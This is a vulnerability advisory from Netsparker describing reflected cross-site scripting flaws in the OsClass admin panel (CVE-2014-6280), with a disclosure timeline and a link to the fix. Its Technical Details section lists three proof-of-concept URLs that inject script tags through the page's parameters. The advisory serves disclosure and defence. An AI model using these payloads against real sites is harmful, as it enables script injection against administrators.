Information ------------ Advisory by Netsparker. Name: XSS Vulnerability in OsClass Affected Software : OsClass Affected Versions: 3.4.1 and possibly below Vendor Homepage : http://osclass.org/ Vulnerability Type : Cross-site Scripting Severity : Critical CVE-ID: CVE-2014-6280 Netsparker Advisory Reference : NS-14-030 Advisory URL ------------ https://www.netsparker.com/xss-vulnerabilities-in-osclass/ Description ----------- Several cross-site scripting vulnerabilities where discovered in Osclass, an open source project that allows you to create a classifieds sites. Technical Details ----------------- Proof of Concept URLs for XSS in OsClass: http://example.com/osclass/oc-admin/index.php?page=items&action='"--></style></scRipt><scRipt>alert(0x001394)</scRipt> http://example.com/osclass/oc-admin/index.php?page=items&nsextt='"--></style></scRipt><scRipt>alert(0x001364)</scRipt> http://example.com/osclass/oc-admin/index.php?page=items&action=items_reported&nsextt='"--></style></scRipt><scRipt>alert(0x001396)</scRipt> For more information on cross-site scripting vulnerabilities read the article on Cross-site Scripting (XSS) from the following URL; https://www.netsparker.com/web-vulnerability-scanner/vulnerability-security-checks-index/crosssite-scripting-xss/. Advisory Timeline ----------------- 03/09/2014 - First Contact 03/09/2014 - Vulnerability fixed: https://github.com/osclass/Osclass/commit/c163bf5910d0d36424d7fc678da6b03a0e443435 15/09/2014 - Fix released publicly in Osclass 3.4.2 Credits & Authors -------------------- These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner. About Netsparker -------------------- Netsparker can find and report security issues and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications regardless of the platform and the technology they are built on. Netsparker's unique detection and exploitation techniques allows it to be dead accurate in reporting hence it's the first and the only False Positive Free web application security scanner. For more information on Netsparker visit https://www.netsparker.com.